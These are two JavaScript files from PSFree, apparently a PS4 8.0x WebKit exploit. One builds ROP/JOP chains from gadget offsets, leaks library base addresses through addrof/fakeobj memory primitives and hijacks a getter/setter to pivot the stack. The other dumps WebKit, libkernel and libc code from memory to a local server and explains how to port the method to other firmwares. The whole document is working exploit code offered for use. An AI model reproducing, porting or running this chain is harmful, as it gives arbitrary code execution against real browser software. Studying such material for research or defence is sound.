// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000035a1b,
'pop rbx; ret' : 0x000000000001537c,
'pop rcx; ret' : 0x0000000000025ecb,
'pop rdx; ret' : 0x0000000000060f52,
'pop rbp; ret' : 0x00000000000000b6,
'pop rsi; ret' : 0x000000000003bd77,
'pop rdi; ret' : 0x00000000001e3f87,
'pop rsp; ret' : 0x00000000000bf669,
'pop r8; ret' : 0x0000000000097442,
'pop r9; ret' : 0x00000000006f501f,
'pop r10; ret' : 0x0000000000060f51,
'pop r11; ret' : 0x0000000000d2a629,
'pop r12; ret' : 0x0000000000d8968d,
'pop r13; ret' : 0x00000000016ccff1,
'pop r14; ret' : 0x000000000003bd76,
'pop r15; ret' : 0x00000000002499df,
'ret' : 0x0000000000000032,
'leave; ret' : 0x0000000000291fd7,
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62,
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb,
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864,
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc,
[jop1] : 0x0000000001988320,
[jop2] : 0x000000000076b970,
[jop3] : 0x0000000000f62f95,
[jop4] : 0x00000000021af6ad,
[jop5] : 0x00000000000bf669,
}));
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x258f4,
'setcontext' : 0x29c58,
}));
const libkernel_gadget_offsets = new Map(Object.entries({
// returns the location of errno
'__error' : 0x160c0,
}));
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x236d4a0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x12a30;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4eb80;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain800Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
export class Chain800 extends Chain800Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain800;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

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/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// script for dumping libSceNKWebKit.sprx, libkernel_web.sprx, and
// libSceLibcInternal.sprx
// This script is for firmware 8.0x. You need to port this to your firmware if
// you want to use it. It only dumps the .text and PT_SCE_RELRO segments. It
// doesn't dump the entire ELF file.
//
// There's also some miscellaneous functions to dump functions from WebKit that
// were studied during the development of PSFree.
// libkernel libraries contain syscalls
// syscalls are enforced to be called from these libraries
//
// libkernel_web.sprx is used by the browser in firmwares >= 6.00
// libkernel.sprx for firmwares below
//
// libkernel_sys.sprx contains syscalls that aren't found in the others, such
// as mount and nmount
//
// the BD-J app uses libkernel_sys.sprx for example
// Porting HOWTO:
//
// You can only dump the WebKit module (libSceNKWebKit.sprx for FW >= 6.00,
// else libSceWebkit2.sprx) initially via dump_libwebkit() on any firmware.
// We'll use the WebKit dump to search for imported functions from libkernel
// and LibcInternal. Once we resolve the imports, we can use find_base() to get
// the boundaries of these modules.
//
// Most of the work is done for you at dump_lib*(). You just need to find the
// offset of the imported functions relative to WebKit's base address.
//
// import candidates:
//
// __stack_chk_fail() is a good import from libkernel to search for as it's
// easy to find since most functions are protected by a stack canary.
//
// For a LibcInternal import we searched for strlen() but you can search for
// any libc function such as memcpy().
import * as config from './config.mjs';
import { Int } from './module/int64.mjs';
import { Addr, mem } from './module/mem.mjs';
import { make_buffer, find_base, resolve_import } from './module/memtools.mjs';
import { KB, MB } from './module/offset.mjs';
import {
log,
align,
die,
send,
} from './module/utils.mjs';
import * as rw from './module/rw.mjs';
import * as o from './module/offset.mjs';
const origin = window.origin;
const port = '8000';
const url = `${origin}:${port}`;
const textarea = document.createElement('textarea');
// JSObject
const js_textarea = mem.addrof(textarea);
// boundaries of the .text + PT_SCE_RELRO portion of a module
function get_boundaries(leak) {
const lib_base = find_base(leak, true, true);
const lib_end = find_base(leak, false, false);
return [lib_base, lib_end]
}
// dump a module's .text and PT_SCE_RELRO segments only
function dump(name, lib_base, lib_end) {
// assumed size < 4GB
const lib_size = lib_end.sub(lib_base).lo;
log(`${name} base: ${lib_base}`);
log(`${name} size: ${lib_size}`);
const lib = make_buffer(
lib_base,
lib_size
);
send(
url,
lib,
`${name}.sprx.text_${lib_base}.bin`,
() => log(`${name} sent`)
);
}
// dump for libSceNKWebKit.sprx
function dump_libwebkit() {
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
log(`vtable: ${addr}`);
const vtable = make_buffer(addr, 0x400);
send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent'));
const [lib_base, lib_end] = get_boundaries(addr);
dump('libSceNKWebKit', lib_base, lib_end);
return lib_base;
}
// dump for libkernel_web.sprx
function dump_libkernel(libwebkit_base) {
const offset = 0x8d8;
const vtable_p = js_textarea.readp(0x18).readp(0);
// __stack_chk_fail
const stack_chk_fail_import = libwebkit_base.add(offset);
const libkernel_leak = resolve_import(stack_chk_fail_import);
log(`__stack_chk_fail import: ${libkernel_leak}`);
const [lib_base, lib_end] = get_boundaries(libkernel_leak);
dump('libkernel_web', lib_base, lib_end);
}
// dump for libSceLibcInternal.sprx
function dump_libc(libwebkit_base) {
const offset = 0x918;
const vtable_p = js_textarea.readp(0x18).readp(0);
// strlen
const strlen_import = libwebkit_base.add(offset);
const libc_leak = resolve_import(strlen_import);
log(`strlen import: ${libc_leak}`);
const [lib_base, lib_end] = get_boundaries(libc_leak);
dump('libSceLibcInternal', lib_base, lib_end);
}
function dump_webkit() {
const libwebkit_base = dump_libwebkit();
dump_libkernel(libwebkit_base);
dump_libc(libwebkit_base);
}
// See globalFuncEval() from
// WebKit/Source/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp at PS4
// 8.03.
//
// Used to dump the implementation of eval() to figure out the expression
// "execState.argument(0)".
//
// eval()'s native function receives a JSC::ExecState pointer (renamed to
// JSC::CallFrame on webkitgtk 2.34.4). That type has an argument() method
// which takes an index and returns the corresponding JSValue passed to eval(),
// e.g. execState.argument(0) is the first JSValue argument.
//
// execState.argument(0) evaluates to *(&execState + argumentOffset + 0).
// Knowing the argumentOffset is useful for passing data to ROP chains.
// argumentOffset is 0x30 for PS4 8.03.
//
// The PS4 uses the System V ABI. The ExecState pointer is passed to the rdi
// register since it is the first argument. ROP chains can get the JSValue
// passed via *(rdi + 0x30).
//
// For example, the expression "eval(1)" has the JSValue encoding of 1 passed
// to *(rdi + 0x30).
function dump_eval() {
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
const libwebkit_base = find_base(addr, true, true);
const impl = mem.addrof(eval).readp(0x18).readp(0x38);
const offset = impl.sub(libwebkit_base);
send(
url,
make_buffer(impl, 0x800),
`eval_dump_offset_${offset}.bin`,
() => log('sent')
);
}
// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
// it works. It did but let's add this dumper so we can verify it another way.
// See howto_code_exec.txt about code execution via the vtable of a textarea
// element.
function dump_scrollLeft() {
let proto = Object.getPrototypeOf(textarea);
proto = Object.getPrototypeOf(proto);
proto = Object.getPrototypeOf(proto);
const scrollLeft_get =
Object.getOwnPropertyDescriptors(proto).scrollLeft.get
;
// get the JSCustomGetterSetterFunction
const js_func = mem.addrof(scrollLeft_get);
const getterSetter = js_func.readp(0x28);
const getter = getterSetter.readp(8);
const libwebkit_base = find_base(getter, true, true);
const offset = getter.sub(libwebkit_base);
send(
url,
make_buffer(getter, 0x800),
`scrollLeft_getter_dump_offset_${offset}.bin`,
() => log('sent')
);
}